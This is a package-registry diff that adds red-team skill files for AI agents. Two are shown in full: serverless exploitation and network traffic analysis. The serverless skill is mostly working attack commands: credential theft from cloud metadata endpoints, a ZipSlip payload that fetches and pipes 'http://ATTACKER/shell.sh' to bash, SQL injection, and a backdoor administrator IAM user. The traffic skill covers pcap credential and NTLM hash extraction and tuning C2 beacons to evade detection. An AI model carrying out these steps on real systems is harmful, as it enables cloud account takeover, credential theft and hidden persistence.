rtexit-method 0.1.5 → 0.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
|
@@ -0,0 +1,274 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-serverless
|
|
3
|
+
description: "Serverless function exploitation skill for authorized engagements. AWS Lambda privilege escalation and data exfiltration, Azure Functions abuse, GCP Cloud Functions exploitation, environment variable extraction from serverless contexts, event injection attacks (S3 trigger, SQS, SNS), function URL misconfiguration, cold start timing attacks, shared filesystem abuse, and lateral movement from serverless to cloud account. Use when engagement scope includes cloud-native or serverless architectures."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-serverless — Serverless Function Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Serverless functions (Lambda, Azure Functions, Cloud Functions) have a unique attack surface: they run with IAM roles, have environment variables containing secrets, share underlying infrastructure, and are triggered by cloud events that attackers can inject into. A misconfigured Lambda can be the pivot from an external vulnerability to full cloud account takeover.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Enumeration
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# AWS Lambda enumeration
|
|
18
|
+
aws lambda list-functions --region us-east-1
|
|
19
|
+
aws lambda get-function --function-name target-function
|
|
20
|
+
# Shows: code location (S3 URL), environment variables (if you have IAM rights), role
|
|
21
|
+
|
|
22
|
+
# Download function code
|
|
23
|
+
aws lambda get-function --function-name target-function \
|
|
24
|
+
--query 'Code.Location' --output text | xargs curl -o function.zip
|
|
25
|
+
unzip function.zip -d function_code/
|
|
26
|
+
# Analyze code for: hardcoded creds, SQL queries, internal endpoints
|
|
27
|
+
|
|
28
|
+
# Get function policy (who can invoke it)
|
|
29
|
+
aws lambda get-policy --function-name target-function
|
|
30
|
+
# If Resource: "*" → publicly invokable
|
|
31
|
+
|
|
32
|
+
# List function URLs (direct HTTPS invocation without IAM)
|
|
33
|
+
aws lambda list-function-url-configs --function-name target-function
|
|
34
|
+
# AuthType: NONE = unauthenticated invoke = high risk
|
|
35
|
+
|
|
36
|
+
# Azure Functions enumeration
|
|
37
|
+
az functionapp list --output table
|
|
38
|
+
az functionapp function list --name FUNCTION_APP --resource-group RG
|
|
39
|
+
|
|
40
|
+
# GCP Cloud Functions
|
|
41
|
+
gcloud functions list
|
|
42
|
+
gcloud functions describe FUNCTION_NAME --region us-central1
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Phase 2 — Unauthenticated Function Invocation
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
# Lambda Function URLs with AuthType: NONE
|
|
51
|
+
curl https://RANDOM_ID.lambda-url.us-east-1.on.aws/
|
|
52
|
+
|
|
53
|
+
# Lambda with resource policy allowing public invoke
|
|
54
|
+
aws lambda invoke --function-name target-function \
|
|
55
|
+
--payload '{"action":"admin","user":"attacker"}' \
|
|
56
|
+
--cli-binary-format raw-in-base64-out output.json
|
|
57
|
+
cat output.json
|
|
58
|
+
|
|
59
|
+
# Azure Function with anonymous auth level
|
|
60
|
+
curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME"
|
|
61
|
+
# Or with function key:
|
|
62
|
+
curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME?code=FUNCTION_KEY"
|
|
63
|
+
|
|
64
|
+
# Find function keys (often in source code, CI/CD, or Azure Portal)
|
|
65
|
+
az functionapp function keys list --name FUNCTIONAPP --resource-group RG --function-name FUNC
|
|
66
|
+
|
|
67
|
+
# GCP unauthenticated function
|
|
68
|
+
curl "https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME"
|
|
69
|
+
# allUsers with invoker role = public
|
|
70
|
+
gcloud functions get-iam-policy FUNCTION_NAME
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## Phase 3 — Environment Variable Extraction
|
|
76
|
+
|
|
77
|
+
```bash
|
|
78
|
+
# Lambda environment variables often contain:
|
|
79
|
+
# - Database credentials
|
|
80
|
+
# - API keys (Stripe, Twilio, SendGrid)
|
|
81
|
+
# - JWT signing secrets
|
|
82
|
+
# - Internal service URLs
|
|
83
|
+
# - AWS credentials for other services
|
|
84
|
+
|
|
85
|
+
# Extract env vars if you have lambda:GetFunction
|
|
86
|
+
aws lambda get-function-configuration --function-name target-function \
|
|
87
|
+
| jq '.Environment.Variables'
|
|
88
|
+
# Output:
|
|
89
|
+
# {
|
|
90
|
+
# "DB_PASSWORD": "secretpassword",
|
|
91
|
+
# "STRIPE_API_KEY": "sk_live_...",
|
|
92
|
+
# "INTERNAL_API_KEY": "abc123"
|
|
93
|
+
# }
|
|
94
|
+
|
|
95
|
+
# From inside function execution (SSRF → Lambda metadata)
|
|
96
|
+
# If the function is vulnerable to SSRF:
|
|
97
|
+
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
98
|
+
# Or Lambda-specific endpoint:
|
|
99
|
+
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
|
100
|
+
# Returns temporary credentials for the function's IAM role
|
|
101
|
+
|
|
102
|
+
# If you have code execution inside function:
|
|
103
|
+
# Process environment dump
|
|
104
|
+
import os
|
|
105
|
+
print(dict(os.environ))
|
|
106
|
+
# All env vars including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## Phase 4 — Event Injection Attacks
|
|
112
|
+
|
|
113
|
+
```bash
|
|
114
|
+
# Functions triggered by cloud events — inject malicious events
|
|
115
|
+
|
|
116
|
+
# S3 trigger: function processes files uploaded to S3 bucket
|
|
117
|
+
# If you have S3 write access → upload malicious file → trigger function
|
|
118
|
+
|
|
119
|
+
# Upload file that causes path traversal in function
|
|
120
|
+
aws s3 cp malicious.csv s3://trigger-bucket/uploads/../../etc/passwd
|
|
121
|
+
|
|
122
|
+
# Upload ZIP that causes ZipSlip in function
|
|
123
|
+
python3 << 'EOF'
|
|
124
|
+
import zipfile
|
|
125
|
+
with zipfile.ZipFile("zipslip.zip", "w") as z:
|
|
126
|
+
z.writestr("../../tmp/pwned.sh", "#!/bin/bash\ncurl http://ATTACKER/shell.sh | bash")
|
|
127
|
+
EOF
|
|
128
|
+
aws s3 cp zipslip.zip s3://trigger-bucket/uploads/
|
|
129
|
+
|
|
130
|
+
# SQS injection: function processes SQS messages
|
|
131
|
+
aws sqs send-message \
|
|
132
|
+
--queue-url https://sqs.us-east-1.amazonaws.com/ACCOUNT/queue-name \
|
|
133
|
+
--message-body '{"action":"admin_override","user_id":"1","admin":true}'
|
|
134
|
+
|
|
135
|
+
# SNS injection
|
|
136
|
+
aws sns publish \
|
|
137
|
+
--topic-arn arn:aws:sns:us-east-1:ACCOUNT:topic-name \
|
|
138
|
+
--message '{"type":"webhook","url":"http://169.254.169.254/latest/meta-data/"}'
|
|
139
|
+
|
|
140
|
+
# API Gateway → Lambda injection
|
|
141
|
+
# Standard web attacks (SQLi, XSS, SSRF) via HTTP
|
|
142
|
+
curl "https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user?id=1' OR '1'='1"
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
## Phase 5 — IAM Role Abuse from Lambda
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
# Lambda functions have an IAM execution role
|
|
151
|
+
# Over-privileged roles → lateral movement to other AWS services
|
|
152
|
+
|
|
153
|
+
# From inside function (or via SSRF):
|
|
154
|
+
# Get temporary credentials
|
|
155
|
+
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
|
156
|
+
# Response:
|
|
157
|
+
# {
|
|
158
|
+
# "AccessKeyId": "ASIA...",
|
|
159
|
+
# "SecretAccessKey": "...",
|
|
160
|
+
# "Token": "...",
|
|
161
|
+
# "Expiration": "2024-..."
|
|
162
|
+
# }
|
|
163
|
+
|
|
164
|
+
# Use credentials to escalate
|
|
165
|
+
export AWS_ACCESS_KEY_ID="ASIA..."
|
|
166
|
+
export AWS_SECRET_ACCESS_KEY="..."
|
|
167
|
+
export AWS_SESSION_TOKEN="..."
|
|
168
|
+
|
|
169
|
+
# Check what the role can do
|
|
170
|
+
aws sts get-caller-identity
|
|
171
|
+
aws iam list-attached-role-policies --role-name lambda-execution-role
|
|
172
|
+
aws iam get-role-policy --role-name lambda-execution-role --policy-name inline-policy
|
|
173
|
+
|
|
174
|
+
# Common over-privilege patterns:
|
|
175
|
+
aws s3 ls --recursive # s3:* = read all buckets
|
|
176
|
+
aws secretsmanager list-secrets # All secrets
|
|
177
|
+
aws ssm describe-parameters # All SSM parameters (contain creds)
|
|
178
|
+
aws ec2 describe-instances # Internal infrastructure map
|
|
179
|
+
|
|
180
|
+
# Best case: iam:* → full account takeover
|
|
181
|
+
aws iam create-user --user-name backdoor
|
|
182
|
+
aws iam attach-user-policy --user-name backdoor \
|
|
183
|
+
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
184
|
+
aws iam create-access-key --user-name backdoor
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
189
|
+
## Phase 6 — Shared Filesystem & Cold Start Attacks
|
|
190
|
+
|
|
191
|
+
```bash
|
|
192
|
+
# /tmp in Lambda is shared across warm instances (same account, same function)
|
|
193
|
+
# Write to /tmp → next warm invocation reads it
|
|
194
|
+
|
|
195
|
+
# Test for shared /tmp abuse
|
|
196
|
+
# Invoke 1: write marker
|
|
197
|
+
curl -X POST FUNCTION_URL -d '{"action":"write","path":"/tmp/marker","content":"pwned"}'
|
|
198
|
+
|
|
199
|
+
# Invoke 2: read marker
|
|
200
|
+
curl -X POST FUNCTION_URL -d '{"action":"read","path":"/tmp/marker"}'
|
|
201
|
+
# If response = "pwned" → /tmp shared across invocations
|
|
202
|
+
|
|
203
|
+
# Lambda Layer abuse
|
|
204
|
+
# Layers are shared code across functions
|
|
205
|
+
# If you can modify a layer: aws lambda publish-layer-version
|
|
206
|
+
# All functions using that layer execute your code
|
|
207
|
+
|
|
208
|
+
# Cold start timing attack
|
|
209
|
+
# Functions have initialization code that runs once
|
|
210
|
+
# If init code is slow → cold start takes longer → timing reveals code paths
|
|
211
|
+
|
|
212
|
+
# Measure cold start time
|
|
213
|
+
python3 << 'EOF'
|
|
214
|
+
import requests, time
|
|
215
|
+
|
|
216
|
+
# Force cold start by changing something
|
|
217
|
+
for _ in range(5):
|
|
218
|
+
start = time.time()
|
|
219
|
+
r = requests.post(FUNCTION_URL, json={"probe": True})
|
|
220
|
+
elapsed = time.time() - start
|
|
221
|
+
print(f"Response time: {elapsed:.3f}s | Status: {r.status_code}")
|
|
222
|
+
time.sleep(0.1)
|
|
223
|
+
# Long first response = cold start = leaked initialization info
|
|
224
|
+
EOF
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## Phase 7 — Azure Functions & GCP Specific
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# Azure Functions — Managed Identity abuse
|
|
233
|
+
# Functions with Managed Identity can access Azure resources
|
|
234
|
+
|
|
235
|
+
# From inside Azure function (SSRF to IMDS):
|
|
236
|
+
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
|
|
237
|
+
-H "Metadata: true"
|
|
238
|
+
# Returns access token for the function's managed identity
|
|
239
|
+
|
|
240
|
+
# Use token to access Azure resources
|
|
241
|
+
TOKEN=$(curl -s "http://..." -H "Metadata: true" | jq -r '.access_token')
|
|
242
|
+
curl -H "Authorization: Bearer $TOKEN" \
|
|
243
|
+
"https://management.azure.com/subscriptions?api-version=2020-01-01"
|
|
244
|
+
|
|
245
|
+
# GCP Cloud Functions — Service Account abuse
|
|
246
|
+
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
|
|
247
|
+
-H "Metadata-Flavor: Google"
|
|
248
|
+
# Returns access token for the function's service account
|
|
249
|
+
|
|
250
|
+
TOKEN=$(curl -s "http://..." -H "Metadata-Flavor: Google" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
|
|
251
|
+
curl -H "Authorization: Bearer $TOKEN" \
|
|
252
|
+
"https://cloudresourcemanager.googleapis.com/v1/projects"
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Skill Levels
|
|
258
|
+
|
|
259
|
+
**BEGINNER:** Lambda function enumeration + download code + check env vars + unauthenticated invoke
|
|
260
|
+
|
|
261
|
+
**INTERMEDIATE:** Event injection via S3/SQS + IAM role credential extraction via IMDS SSRF + Secrets Manager dump
|
|
262
|
+
|
|
263
|
+
**ADVANCED:** Lambda layer modification for persistence + shared /tmp abuse + managed identity chaining
|
|
264
|
+
|
|
265
|
+
**EXPERT:** Custom event injection chains + cross-function lateral movement + serverless-to-EC2 pivot via over-privileged role
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## References
|
|
270
|
+
|
|
271
|
+
- Pacu (AWS exploitation): https://github.com/RhinoSecurityLabs/pacu
|
|
272
|
+
- Lambda security research: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
|
|
273
|
+
- Serverless Goat (lab): https://github.com/OWASP/Serverless-Goat
|
|
274
|
+
- MITRE T1648: https://attack.mitre.org/techniques/T1648/
|
|
@@ -0,0 +1,283 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-traffic-analysis
|
|
3
|
+
description: "Network traffic capture and analysis skill for authorized engagements. Wireshark capture filters and display filters, tcpdump workflows, credential extraction from pcap files, protocol identification, C2 traffic analysis, TLS fingerprinting (JA3/JA3S), detecting lateral movement in packet captures, and automated pcap analysis with NetworkMiner and Zeek. Use when analyzing captured network traffic, verifying C2 traffic profile, or investigating network-level evidence."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-traffic-analysis — Network Traffic Capture & Analysis
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Traffic analysis in red teaming serves two purposes: finding credentials and sensitive data in captured traffic, and verifying that your own C2 traffic blends in and avoids detection signatures.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Capture Setup
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# tcpdump — command line capture
|
|
18
|
+
# Capture all traffic on interface
|
|
19
|
+
tcpdump -i eth0 -w capture.pcap
|
|
20
|
+
|
|
21
|
+
# Capture specific host
|
|
22
|
+
tcpdump -i eth0 host 10.10.10.50 -w target.pcap
|
|
23
|
+
|
|
24
|
+
# Capture specific port range
|
|
25
|
+
tcpdump -i eth0 'port 80 or port 443 or port 8080' -w web.pcap
|
|
26
|
+
|
|
27
|
+
# Capture credentials (unencrypted protocols)
|
|
28
|
+
tcpdump -i eth0 'port 21 or port 23 or port 110 or port 143 or port 25' -w cleartext.pcap
|
|
29
|
+
# 21=FTP, 23=Telnet, 110=POP3, 143=IMAP, 25=SMTP
|
|
30
|
+
|
|
31
|
+
# Capture from remote host (pipe over SSH)
|
|
32
|
+
ssh user@PIVOT_HOST "tcpdump -i eth0 -w - 'not port 22'" | wireshark -k -i -
|
|
33
|
+
|
|
34
|
+
# Promiscuous mode (capture all traffic on segment)
|
|
35
|
+
tcpdump -i eth0 -p # -p = don't use promiscuous (default on)
|
|
36
|
+
ip link set eth0 promisc on # Enable promiscuous
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Phase 2 — Wireshark Filters
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# Credential extraction filters
|
|
45
|
+
|
|
46
|
+
# HTTP POST requests (login forms)
|
|
47
|
+
http.request.method == "POST"
|
|
48
|
+
|
|
49
|
+
# HTTP basic auth
|
|
50
|
+
http.authorization
|
|
51
|
+
|
|
52
|
+
# FTP credentials
|
|
53
|
+
ftp.request.command == "PASS" or ftp.request.command == "USER"
|
|
54
|
+
|
|
55
|
+
# Telnet (capture stream)
|
|
56
|
+
telnet
|
|
57
|
+
|
|
58
|
+
# SMTP auth
|
|
59
|
+
smtp.auth
|
|
60
|
+
|
|
61
|
+
# NTLM authentication (all protocols)
|
|
62
|
+
ntlmssp
|
|
63
|
+
|
|
64
|
+
# Kerberos
|
|
65
|
+
kerberos
|
|
66
|
+
|
|
67
|
+
# DNS queries (C2 detection / data exfiltration detection)
|
|
68
|
+
dns
|
|
69
|
+
|
|
70
|
+
# Long DNS queries (possible DNS tunneling)
|
|
71
|
+
dns.qry.name.len > 50
|
|
72
|
+
|
|
73
|
+
# SMB file access
|
|
74
|
+
smb2.cmd == 5 # SMB2 Read
|
|
75
|
+
|
|
76
|
+
# Key display filters
|
|
77
|
+
ip.addr == 10.10.10.50 # Traffic to/from specific host
|
|
78
|
+
ip.src == 10.10.10.0/24 # From subnet
|
|
79
|
+
tcp.port == 4444 # Specific port (C2 detection)
|
|
80
|
+
frame.len > 1400 # Large packets
|
|
81
|
+
tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN scan detection
|
|
82
|
+
http.response.code == 200 # Successful HTTP responses
|
|
83
|
+
ssl.handshake.type == 1 # TLS Client Hello
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## Phase 3 — Automated Credential Extraction
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
# NetworkMiner — GUI tool, auto-extracts credentials from pcap
|
|
92
|
+
# https://www.netresec.com/?page=NetworkMiner
|
|
93
|
+
mono NetworkMiner.exe capture.pcap
|
|
94
|
+
# Credentials tab → all extracted usernames/passwords
|
|
95
|
+
|
|
96
|
+
# PCredz — automated credential extraction
|
|
97
|
+
git clone https://github.com/lgandx/PCredz
|
|
98
|
+
python3 PCredz.py -f capture.pcap
|
|
99
|
+
# Extracts: HTTP Basic, FTP, Telnet, POP3, IMAP, SNMP community strings, NTLMv1/v2
|
|
100
|
+
|
|
101
|
+
# Dsniff tools
|
|
102
|
+
dsniff -p capture.pcap # Extract passwords from pcap
|
|
103
|
+
urlsnarf -p capture.pcap # Extract URLs
|
|
104
|
+
msgsnarf -p capture.pcap # IM/chat messages
|
|
105
|
+
mailsnarf -p capture.pcap # Email contents
|
|
106
|
+
|
|
107
|
+
# Extract HTTP credentials with tshark
|
|
108
|
+
tshark -r capture.pcap -Y "http.request.method==POST" \
|
|
109
|
+
-T fields -e http.host -e http.request.uri -e urlencoded-form.value
|
|
110
|
+
|
|
111
|
+
# Extract all HTTP request bodies
|
|
112
|
+
tshark -r capture.pcap -Y "http" -T fields \
|
|
113
|
+
-e ip.src -e ip.dst -e http.request.method \
|
|
114
|
+
-e http.request.uri -e http.file_data
|
|
115
|
+
|
|
116
|
+
# NTLM hash extraction
|
|
117
|
+
tshark -r capture.pcap -Y "ntlmssp.auth" -T fields \
|
|
118
|
+
-e ntlmssp.auth.username -e ntlmssp.auth.domain \
|
|
119
|
+
-e ntlmssp.ntlmserverchallenge -e ntlmssp.auth.ntresponse
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Phase 4 — TLS Fingerprinting (JA3/JA3S)
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# JA3 fingerprints identify TLS clients (browsers, malware, tools)
|
|
128
|
+
# JA3S fingerprints identify TLS servers
|
|
129
|
+
# Use to: verify your C2 traffic, detect blue team tools, identify malware
|
|
130
|
+
|
|
131
|
+
# Install ja3
|
|
132
|
+
pip3 install pyja3
|
|
133
|
+
|
|
134
|
+
python3 << 'EOF'
|
|
135
|
+
import pyshark
|
|
136
|
+
|
|
137
|
+
cap = pyshark.FileCapture('capture.pcap', display_filter='ssl.handshake.type==1')
|
|
138
|
+
for pkt in cap:
|
|
139
|
+
try:
|
|
140
|
+
ja3 = pkt.ssl.handshake_type
|
|
141
|
+
print(f"Src: {pkt.ip.src} → JA3: {pkt.ssl.ja3}")
|
|
142
|
+
except: pass
|
|
143
|
+
EOF
|
|
144
|
+
|
|
145
|
+
# Compare against known JA3 databases
|
|
146
|
+
# https://ja3er.com/
|
|
147
|
+
# Cobalt Strike default JA3: 72a7c4f3d7c7cdbf3f8b1c1e9dbf3c1f (well-known, blocked)
|
|
148
|
+
# → Use malleable profile to change JA3
|
|
149
|
+
|
|
150
|
+
# tshark JA3 extraction
|
|
151
|
+
tshark -r capture.pcap -Y "tls.handshake.type==1" \
|
|
152
|
+
-T fields -e ip.src -e tls.handshake.ja3
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## Phase 5 — C2 Traffic Verification
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# Before engagement: verify your own C2 traffic blends in
|
|
161
|
+
# Capture your beacon traffic → analyze for detection signatures
|
|
162
|
+
|
|
163
|
+
# Check beacon interval regularity (beacons are too regular = detectable)
|
|
164
|
+
python3 << 'EOF'
|
|
165
|
+
from scapy.all import rdpcap, IP
|
|
166
|
+
import statistics
|
|
167
|
+
|
|
168
|
+
pkts = rdpcap("c2_traffic.pcap")
|
|
169
|
+
times = [p.time for p in pkts if IP in p and p[IP].dst == "C2_IP"]
|
|
170
|
+
intervals = [times[i+1]-times[i] for i in range(len(times)-1)]
|
|
171
|
+
print(f"Mean interval: {statistics.mean(intervals):.2f}s")
|
|
172
|
+
print(f"Std deviation: {statistics.stdev(intervals):.2f}s")
|
|
173
|
+
# Low stdev = too regular → increase jitter in C2 profile
|
|
174
|
+
EOF
|
|
175
|
+
|
|
176
|
+
# Check packet sizes (uniform sizes = suspicious)
|
|
177
|
+
tshark -r c2_traffic.pcap -T fields -e frame.len | sort | uniq -c | sort -rn | head -10
|
|
178
|
+
# All same size = suspicious → add padding in malleable profile
|
|
179
|
+
|
|
180
|
+
# Check DNS query frequency
|
|
181
|
+
tshark -r c2_traffic.pcap -Y dns -T fields -e dns.qry.name | \
|
|
182
|
+
awk '{print $1}' | sort | uniq -c | sort -rn | head -20
|
|
183
|
+
# Unusual subdomains or high frequency = DNS C2 signature
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## Phase 6 — Zeek (Bro) Analysis
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# Zeek generates structured logs from pcap — easier to query than raw pcap
|
|
192
|
+
apt install zeek -y
|
|
193
|
+
|
|
194
|
+
# Analyze pcap
|
|
195
|
+
zeek -r capture.pcap
|
|
196
|
+
ls *.log
|
|
197
|
+
# conn.log = all connections
|
|
198
|
+
# http.log = HTTP requests
|
|
199
|
+
# dns.log = DNS queries
|
|
200
|
+
# ssl.log = TLS connections
|
|
201
|
+
# files.log = transferred files
|
|
202
|
+
# weird.log = protocol anomalies
|
|
203
|
+
|
|
204
|
+
# Find C2 beacons (regular connections)
|
|
205
|
+
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration | \
|
|
206
|
+
awk '$4 < 1' | sort | uniq -c | sort -rn | head -20
|
|
207
|
+
# Regular short connections to same host = beacon pattern
|
|
208
|
+
|
|
209
|
+
# DNS tunneling detection
|
|
210
|
+
cat dns.log | zeek-cut query | awk '{print length($1), $1}' | \
|
|
211
|
+
sort -rn | head -20 | awk '$1 > 50'
|
|
212
|
+
# Long DNS queries = tunneling
|
|
213
|
+
|
|
214
|
+
# Data exfiltration detection
|
|
215
|
+
cat conn.log | zeek-cut id.orig_h id.resp_h orig_bytes | \
|
|
216
|
+
sort -k3 -rn | head -10
|
|
217
|
+
# Large outbound transfers
|
|
218
|
+
|
|
219
|
+
# HTTP user-agent analysis
|
|
220
|
+
cat http.log | zeek-cut user_agent | sort | uniq -c | sort -rn
|
|
221
|
+
# Unusual user agents = custom tools
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
## Phase 7 — Protocol Identification
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
# Identify unknown protocols in captures
|
|
230
|
+
|
|
231
|
+
# Wireshark: Analyze → Decode As → try different protocols
|
|
232
|
+
|
|
233
|
+
# tshark protocol summary
|
|
234
|
+
tshark -r capture.pcap -q -z io,phs
|
|
235
|
+
# Shows protocol hierarchy
|
|
236
|
+
|
|
237
|
+
# Find non-standard ports with known protocols
|
|
238
|
+
tshark -r capture.pcap -q -z conv,tcp | head -20
|
|
239
|
+
# Port 4444, 8888 etc = likely C2
|
|
240
|
+
|
|
241
|
+
# ngrep — grep through packet payloads
|
|
242
|
+
ngrep -q -I capture.pcap "password|secret|token" tcp
|
|
243
|
+
|
|
244
|
+
# strings on pcap
|
|
245
|
+
strings capture.pcap | grep -iE "password|api_key|secret|token|Authorization"
|
|
246
|
+
|
|
247
|
+
# Identify binary protocols by magic bytes
|
|
248
|
+
python3 << 'EOF'
|
|
249
|
+
from scapy.all import rdpcap, Raw
|
|
250
|
+
pkts = rdpcap("capture.pcap")
|
|
251
|
+
for pkt in pkts:
|
|
252
|
+
if Raw in pkt:
|
|
253
|
+
payload = bytes(pkt[Raw])
|
|
254
|
+
if payload[:2] == b'\x4d\x5a':
|
|
255
|
+
print("PE executable in traffic!")
|
|
256
|
+
elif payload[:4] == b'\x50\x4b\x03\x04':
|
|
257
|
+
print("ZIP file in traffic!")
|
|
258
|
+
elif b'JFIF' in payload[:20] or b'\xff\xd8\xff' == payload[:3]:
|
|
259
|
+
print("JPEG in traffic!")
|
|
260
|
+
EOF
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
---
|
|
264
|
+
|
|
265
|
+
## Skill Levels
|
|
266
|
+
|
|
267
|
+
**BEGINNER:** tcpdump capture + Wireshark display filters for credentials · PCredz automated extraction
|
|
268
|
+
|
|
269
|
+
**INTERMEDIATE:** JA3 fingerprinting + C2 traffic profiling · Zeek analysis + DNS tunneling detection
|
|
270
|
+
|
|
271
|
+
**ADVANCED:** Custom Zeek scripts for behavioral analysis · Beacon interval analysis + jitter verification
|
|
272
|
+
|
|
273
|
+
**EXPERT:** ML-based traffic classification · Custom protocol dissectors · Full traffic replay and modification
|
|
274
|
+
|
|
275
|
+
---
|
|
276
|
+
|
|
277
|
+
## References
|
|
278
|
+
|
|
279
|
+
- Wireshark display filters: https://wiki.wireshark.org/DisplayFilters
|
|
280
|
+
- PCredz: https://github.com/lgandx/PCredz
|
|
281
|
+
- Zeek: https://zeek.org
|
|
282
|
+
- JA3: https://github.com/salesforce/ja3
|
|
283
|
+
- MITRE T1040: https://attack.mitre.org/techniques/T1040/
|